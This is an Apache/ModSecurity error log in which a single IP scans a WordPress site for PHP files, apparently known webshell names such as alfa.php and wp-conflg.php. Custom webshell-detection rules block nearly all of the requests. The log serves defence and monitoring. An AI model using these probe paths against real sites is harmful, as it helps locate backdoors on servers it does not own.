[Mon Apr 27 04:48:10.692274 2026] [:error] [pid 22751:tid 22759] [client 172.212.183.249:61705] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "ae56Cic0tCpVyVdFok99uAAAAMU"]
[Mon Apr 27 04:48:11.415259 2026] [:error] [pid 22646:tid 22700] [client 172.212.183.249:62655] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "ae56C4k_HyZhTP6AYadyQgAAAFE"]
[Mon Apr 27 04:48:12.408540 2026] [:error] [pid 22751:tid 22773] [client 172.212.183.249:61651] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "ae56DCc0tCpVyVdFok99uwAAANM"]
[Mon Apr 27 04:48:13.244782 2026] [:error] [pid 22751:tid 22775] [client 172.212.183.249:62567] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "ae56DSc0tCpVyVdFok99vQAAANU"]
[Mon Apr 27 04:48:15.637272 2026] [:error] [pid 22751:tid 22761] [client 172.212.183.249:62618] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "ae56Dyc0tCpVyVdFok99zAAAAMc"]
[Mon Apr 27 04:48:19.274644 2026] [:error] [pid 22645:tid 22660] [client 172.212.183.249:62563] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "ae56E3-Pq2r302zQbMaPawAAAAU"]
[Mon Apr 27 04:48:21.680183 2026] [:error] [pid 22646:tid 22686] [client 172.212.183.249:61689] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "ae56FYk_HyZhTP6AYadybQAAAEM"]
[Mon Apr 27 04:48:23.779747 2026] [:error] [pid 22751:tid 22760] [client 172.212.183.249:62610] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "ae56Fyc0tCpVyVdFok994wAAAMY"]
[Mon Apr 27 04:48:26.295725 2026] [:error] [pid 22751:tid 22753] [client 172.212.183.249:61703] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cong.php"] [unique_id "ae56Gic0tCpVyVdFok997AAAAMA"]
[Mon Apr 27 04:48:29.603612 2026] [:error] [pid 22645:tid 22677] [client 172.212.183.249:61721] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cong.php"] [unique_id "ae56HX-Pq2r302zQbMaPbQAAABY"]
[Mon Apr 27 04:48:31.050469 2026] [:error] [pid 22646:tid 22701] [client 172.212.183.249:62619] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cong.php"] [unique_id "ae56H4k_HyZhTP6AYadylAAAAFI"]
[Mon Apr 27 04:48:33.707830 2026] [:error] [pid 22647:tid 22714] [client 172.212.183.249:62553] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cong.php"] [unique_id "ae56IWjfVULTjnk5SzN5igAAAIQ"]
[Mon Apr 27 04:48:36.079366 2026] [:error] [pid 22751:tid 22760] [client 172.212.183.249:62557] [client 172.212.183.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "ae56JCc0tCpVyVdFok9-GAAAAMY"]
[Mon Apr 27 04:48:38.800737 2026] [:error] [pid 22751:tid 22777] [client 172.212.183.249:62608] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cong.php"] [unique_id "ae56Jic0tCpVyVdFok9-MQAAANc"]
[Mon Apr 27 04:48:39.691601 2026] [:error] [pid 22646:tid 22686] [client 172.212.183.249:61670] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cong.php"] [unique_id "ae56J4k_HyZhTP6AYadyrAAAAEM"]
[Mon Apr 27 04:48:42.366271 2026] [:error] [pid 22647:tid 22718] [client 172.212.183.249:62597] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cong.php"] [unique_id "ae56KmjfVULTjnk5SzN5pAAAAIg"]
[Mon Apr 27 04:48:43.755480 2026] [:error] [pid 22751:tid 22769] [client 172.212.183.249:62534] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cong.php"] [unique_id "ae56Kyc0tCpVyVdFok9-WQAAAM8"]
[Mon Apr 27 04:48:44.600097 2026] [:error] [pid 22647:tid 22710] [client 172.212.183.249:62634] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "ae56LGjfVULTjnk5SzN5pgAAAIA"]
[Mon Apr 27 04:48:45.388312 2026] [:error] [pid 22751:tid 22762] [client 172.212.183.249:62552] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "ae56LSc0tCpVyVdFok9-YgAAAMg"]
[Mon Apr 27 04:48:46.277359 2026] [:error] [pid 22751:tid 22758] [client 172.212.183.249:62587] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "ae56Lic0tCpVyVdFok9-aQAAAMQ"]
[Mon Apr 27 04:48:47.210407 2026] [:error] [pid 22645:tid 22674] [client 172.212.183.249:62644] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "ae56L3-Pq2r302zQbMaPiAAAABM"]
[Mon Apr 27 04:48:48.400724 2026] [:error] [pid 22646:tid 22684] [client 172.212.183.249:61748] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ae56MIk_HyZhTP6AYadyxwAAAEE"]
[Mon Apr 27 04:48:49.989555 2026] [:error] [pid 22751:tid 22767] [client 172.212.183.249:62614] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ae56MSc0tCpVyVdFok9-fgAAAM0"]
[Mon Apr 27 04:48:50.904732 2026] [:error] [pid 22751:tid 22763] [client 172.212.183.249:62652] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ae56Mic0tCpVyVdFok9-hQAAAMk"]
[Mon Apr 27 04:48:51.861518 2026] [:error] [pid 22751:tid 22753] [client 172.212.183.249:62541] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ae56Myc0tCpVyVdFok9-jQAAAMA"]
[Mon Apr 27 04:48:52.580071 2026] [:error] [pid 22647:tid 22723] [client 172.212.183.249:61197] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ae56NGjfVULTjnk5SzN5rwAAAI0"]
[Mon Apr 27 04:48:53.280436 2026] [:error] [pid 22646:tid 22702] [client 172.212.183.249:62592] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ae56NYk_HyZhTP6AYadyzAAAAFM"]
[Mon Apr 27 04:48:54.411837 2026] [:error] [pid 22751:tid 22763] [client 172.212.183.249:61678] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ae56Nic0tCpVyVdFok9-mQAAAMk"]
[Mon Apr 27 04:48:55.571550 2026] [:error] [pid 22751:tid 22767] [client 172.212.183.249:61729] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ae56Nyc0tCpVyVdFok9-oQAAAM0"]
[Mon Apr 27 04:48:56.246110 2026] [:error] [pid 22751:tid 22770] [client 172.212.183.249:61701] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "ae56OCc0tCpVyVdFok9-pwAAANA"]
[Mon Apr 27 04:48:56.995497 2026] [:error] [pid 22751:tid 22753] [client 172.212.183.249:62602] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "ae56OCc0tCpVyVdFok9-rgAAAMA"]
[Mon Apr 27 04:48:57.921042 2026] [:error] [pid 22751:tid 22775] [client 172.212.183.249:61634] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "ae56OSc0tCpVyVdFok9-swAAANU"]
[Mon Apr 27 04:48:58.482791 2026] [:error] [pid 22646:tid 22694] [client 172.212.183.249:61644] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "ae56Ook_HyZhTP6AYady0wAAAEs"]
[Mon Apr 27 04:48:59.195431 2026] [:error] [pid 22646:tid 22703] [client 172.212.183.249:62648] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "ae56O4k_HyZhTP6AYady1QAAAFQ"]
[Mon Apr 27 04:49:00.251223 2026] [:error] [pid 22645:tid 22655] [client 172.212.183.249:62530] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "ae56PH-Pq2r302zQbMaPkgAAAAA"]
[Mon Apr 27 04:49:00.761720 2026] [:error] [pid 22645:tid 22665] [client 172.212.183.249:61714] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "ae56PH-Pq2r302zQbMaPkwAAAAo"]
[Mon Apr 27 04:49:02.511050 2026] [:error] [pid 22645:tid 22672] [client 172.212.183.249:61225] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css.php"] [unique_id "ae56Pn-Pq2r302zQbMaPlgAAABE"]
[Mon Apr 27 04:49:03.206640 2026] [:error] [pid 22646:tid 22700] [client 172.212.183.249:62569] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "ae56P4k_HyZhTP6AYady2wAAAFE"]
[Mon Apr 27 04:49:04.046012 2026] [:error] [pid 22647:tid 22726] [client 172.212.183.249:62617] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "ae56QGjfVULTjnk5SzN5ywAAAJA"]
[Mon Apr 27 04:49:04.607918 2026] [:error] [pid 22751:tid 22772] [client 172.212.183.249:61750] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "ae56QCc0tCpVyVdFok9-wQAAANI"]
[Mon Apr 27 04:49:05.719503 2026] [:error] [pid 22751:tid 22764] [client 172.212.183.249:62550] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "ae56QSc0tCpVyVdFok9-yAAAAMo"]
[Mon Apr 27 04:49:07.100194 2026] [:error] [pid 22647:tid 22715] [client 172.212.183.249:62650] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/index.php"] [unique_id "ae56Q2jfVULTjnk5SzN52wAAAIU"]
[Mon Apr 27 04:49:07.898402 2026] [:error] [pid 22751:tid 22758] [client 172.212.183.249:61228] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/index.php"] [unique_id "ae56Qyc0tCpVyVdFok9-0QAAAMQ"]
[Mon Apr 27 04:49:08.820468 2026] [:error] [pid 22646:tid 22688] [client 172.212.183.249:62549] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/index.php"] [unique_id "ae56RIk_HyZhTP6AYady4QAAAEU"]
[Mon Apr 27 04:49:09.690374 2026] [:error] [pid 22751:tid 22766] [client 172.212.183.249:62627] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/index.php"] [unique_id "ae56RSc0tCpVyVdFok9-2AAAAMw"]
[Mon Apr 27 04:49:10.672100 2026] [:error] [pid 22647:tid 22717] [client 172.212.183.249:62579] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Mon Apr 27 04:49:11.196285 2026] [:error] [pid 22647:tid 22710] [client 172.212.183.249:62579] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Mon Apr 27 04:49:11.389415 2026] [:error] [pid 22647:tid 22732] [client 172.212.183.249:62579] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Mon Apr 27 04:49:11.643881 2026] [:error] [pid 22647:tid 22716] [client 172.212.183.249:62579] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Mon Apr 27 04:49:11.841166 2026] [:error] [pid 22647:tid 22718] [client 172.212.183.249:62579] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Mon Apr 27 04:49:12.471850 2026] [:error] [pid 22647:tid 22723] [client 172.212.183.249:62579] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Mon Apr 27 04:49:12.662814 2026] [:error] [pid 22647:tid 22728] [client 172.212.183.249:62579] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Mon Apr 27 04:49:14.685867 2026] [:error] [pid 22647:tid 22733] [client 172.212.183.249:62579] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "ae56SmjfVULTjnk5SzN59AAAAJc"]
[Mon Apr 27 04:49:20.621509 2026] [:error] [pid 22647:tid 22712] [client 172.212.183.249:61747] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "ae56UGjfVULTjnk5SzN5-QAAAII"]
[Mon Apr 27 04:49:21.134295 2026] [:error] [pid 22645:tid 22669] [client 172.212.183.249:62600] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "ae56UX-Pq2r302zQbMaPqwAAAA4"]
[Mon Apr 27 04:49:22.164437 2026] [:error] [pid 22645:tid 22665] [client 172.212.183.249:62609] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "ae56Un-Pq2r302zQbMaPrQAAAAo"]
[Mon Apr 27 04:49:23.003734 2026] [:error] [pid 22645:tid 22672] [client 172.212.183.249:61720] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "ae56U3-Pq2r302zQbMaPsAAAABE"]
[Mon Apr 27 04:49:24.778888 2026] [:error] [pid 22645:tid 22659] [client 172.212.183.249:62558] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "ae56VH-Pq2r302zQbMaPtwAAAAQ"]
[Mon Apr 27 04:49:27.326356 2026] [:error] [pid 22751:tid 22755] [client 172.212.183.249:62613] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "ae56Vyc0tCpVyVdFok9_AgAAAMI"]
[Mon Apr 27 04:49:28.775250 2026] [:error] [pid 22751:tid 22777] [client 172.212.183.249:62547] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/manager.php"] [unique_id "ae56WCc0tCpVyVdFok9_BwAAANc"]
